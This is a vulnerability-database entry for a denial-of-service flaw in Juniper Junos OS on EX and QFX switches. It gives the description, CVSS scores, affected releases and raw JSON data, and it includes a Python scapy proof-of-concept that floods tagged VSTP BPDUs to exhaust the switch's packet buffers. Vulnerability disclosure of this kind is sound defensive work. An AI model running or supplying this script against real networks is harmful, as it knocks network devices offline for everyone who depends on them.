Security Vulnerability Report
中文
CVE-2026-33781 CVSS 6.5 MEDIUM

CVE-2026-33781

Published: 2026-04-09 22:16:27
Last Modified: 2026-04-17 17:53:32

Description

An Improper Check for Unusual or Exceptional Conditions vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on specific EX and QFX Series devices allow an unauthenticated, adjacent attacker to cause a complete Denial of Service (DoS). On EX4k, and QFX5k platforms configured as service-provider edge devices, if L2PT is enabled on the UNI and VSTP is enabled on NNI in VXLAN scenarios, receiving VSTP BPDUs on UNI leads to packet buffer allocation failures, resulting in the device to not pass traffic anymore until it is manually recovered with a restart.This issue affects Junos OS: * 24.4 releases before 24.4R2, * 25.2 releases before 25.2R1-S1, 25.2R2. This issue does not affect Junos OS releases before 24.4R1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:24.4:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:24.4:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:24.4:r1-s2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:24.4:r1-s3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos:25.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:juniper:ex4000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:ex4100:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:ex4100-f:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:ex4100-h:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:juniper:ex4300:-:*:*:*:*:*:*:* - NOT VULNERABLE
Junos OS 24.4 releases before 24.4R2
Junos OS 25.2 releases before 25.2R1-S1, 25.2R2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
from scapy.all import * # Define target interface and MAC conf.iface = "eth0" target_mac = "00:11:22:33:44:55" # Replace with actual gateway MAC target_vlan = 100 # Replace with target VLAN ID # Construct Ethernet frame with 802.1Q tag ether = Ether(dst=target_mac) dot1q = Dot1Q(vlan=target_vlan) # Construct VSTP BPDU payload (LLC + STP) # VSTP uses standard STP BPDU format encapsulated in LLC llc = LLC(dsap=0x42, ssap=0x42, ctrl=0x03) stp = STP(bpdutype=0x00, bpduflags=0x00, rootid=0x8000, rootpathcost=0, bridgeid=0x8000, portid=0x8001, messageage=0, maxage=20, hellotime=2, fwddelay=15) # Assemble packet packet = ether / dot1q / llc / stp # Send packets continuously to trigger the buffer allocation failure print("[*] Sending VSTP BPDUs to trigger DoS...") sendp(packet, inter=0.1, count=1000, loop=1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33781", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:27.193", "lastModified": "2026-04-17T17:53:32.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on specific EX and QFX Series devices allow an unauthenticated, adjacent attacker to cause a complete Denial of Service (DoS).\n\nOn EX4k, and QFX5k platforms configured as service-provider edge devices, if L2PT is enabled on the UNI and VSTP is enabled on NNI in VXLAN scenarios, receiving VSTP BPDUs on UNI leads to packet buffer allocation failures, resulting in the device to not pass traffic anymore until it is manually recovered with a restart.This issue affects Junos OS:\n\n\n\n * 24.4 releases before 24.4R2,\n * 25.2 releases before 25.2R1-S1, 25.2R2.\n\n\n\n\nThis issue does not affect Junos OS releases before 24.4R1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:-:*:*:*:*:*:*", "matchCriteriaId": "C452BDCB-34E3-42D3-8909-2312356EB70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1:*:*:*:*:*:*", "matchCriteriaId": "2B8158F2-2028-40E9-955F-CFD581A32F60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "1A7233A1-EC7A-4458-9AE1-835480A03A21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1-s3:*:*:*:*:*:*", "matchCriteriaId": "D74087E2-5CAA-4085-8408-EB70EC1D5D91"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:-:*:*:*:*:*:*", "matchCriteriaId": "1B7572BB-9C77-4214-9C5F-CC83C7B93E37"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r1:*:*:*:*:*:*", "matchCriteriaId": "CAADBF98-38BE-40E2-AF1B-9077DCED0809"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r2:*:*:*:*:*:*", "matchCriteriaId": "6C7B9DEB-7472-4010-8717-8050555C2FAD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:juniper:ex4000:-:*:*:*:*:*:*:*", "matchCriteriaId": "152FD759-F5D2-4ACE-ADD6-7FE89B31D961"}, {"vulnerable": false, "criteria": "cpe:2.3:h:juniper:ex4100:-:*:*:*:*:*:*:*", "matchCriteriaId": "C2521C83-E8F2-4621-9727-75BB3FC11E64"}, {"vulnerable": false, "criteria": "cpe:2.3:h:juniper:ex4100-f:-:*:*:*:*:*:*:*", "matchCriteriaId": "6F496D19-D28C-4517-90A3-90EC62BC5D79"}, {"vulnerable": false, "criteria": "cpe:2.3:h:juniper:ex4100-h:-:*:*:*:*:*:*:*", "matchCriteriaId": "7DA4A8C7-EBC0-449E-BD37-69FABDC917C2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:juniper:ex4300:-:*:*:*:*:*:*:*", "matchCriteriaId": "E594D6DC-87F6-40D2-8268-ED6021462168"}, {"vul ... (truncated)